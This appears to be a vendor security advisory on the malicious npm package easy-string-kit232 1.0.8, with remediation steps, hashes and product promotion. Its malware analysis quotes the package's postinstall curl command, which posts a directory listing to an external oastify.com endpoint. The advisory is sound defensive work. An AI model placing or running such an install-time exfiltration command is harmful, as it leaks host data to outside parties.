Which versions of easy-string-kit232 are malicious?

The following npm versions of easy-string-kit232 are flagged malicious: 1.0.8. Treat any of these as compromised.

How do I remediate easy-string-kit232 if I installed it?

Remove easy-string-kit232 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed easy-string-kit232 — how do I know if it already compromised me?

If easy-string-kit232 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is easy-string-kit232 part of a known attack campaign?

Yes — easy-string-kit232 is associated with the IN-MAL-2026-007516 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find easy-string-kit232 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for easy-string-kit232 (version 1.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging easy-string-kit232 across your stack and pipelines.

Malicious package

easy-string-kit232npm

Malicious code in easy-string-kit232 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6461

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall easy-string-kit232

What this malware does

package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$(ls -la /data/logs/)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. This shells out at install time, captures a directory listing of /data/logs/ on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.

The OpenSSF Package Analysis project identified 'easy-string-kit232' @ 1.0.8 (npm) as malicious.

It is considered malicious because:

The package communicates with a domain associated with malicious activity.
The package executes one or more commands associated with malicious behavior.

Malicious versions

1 flagged

1.0.8

Indicators of compromise (SHA-256)

a16e7a0f092a57588a7267c8acbe881b0f465581afb34aedb671eecd1de3ad9f

9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for easy-string-kit232 (version 1.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging easy-string-kit232 across your stack and pipelines.
If you installed it — respond
Remove easy-string-kit232 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If easy-string-kit232 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks easy-string-kit232 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. easy-string-kit232 on npm has been identified as a malicious package (version 1.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007516

References

npmjs.com

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks easy-string-kit232-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring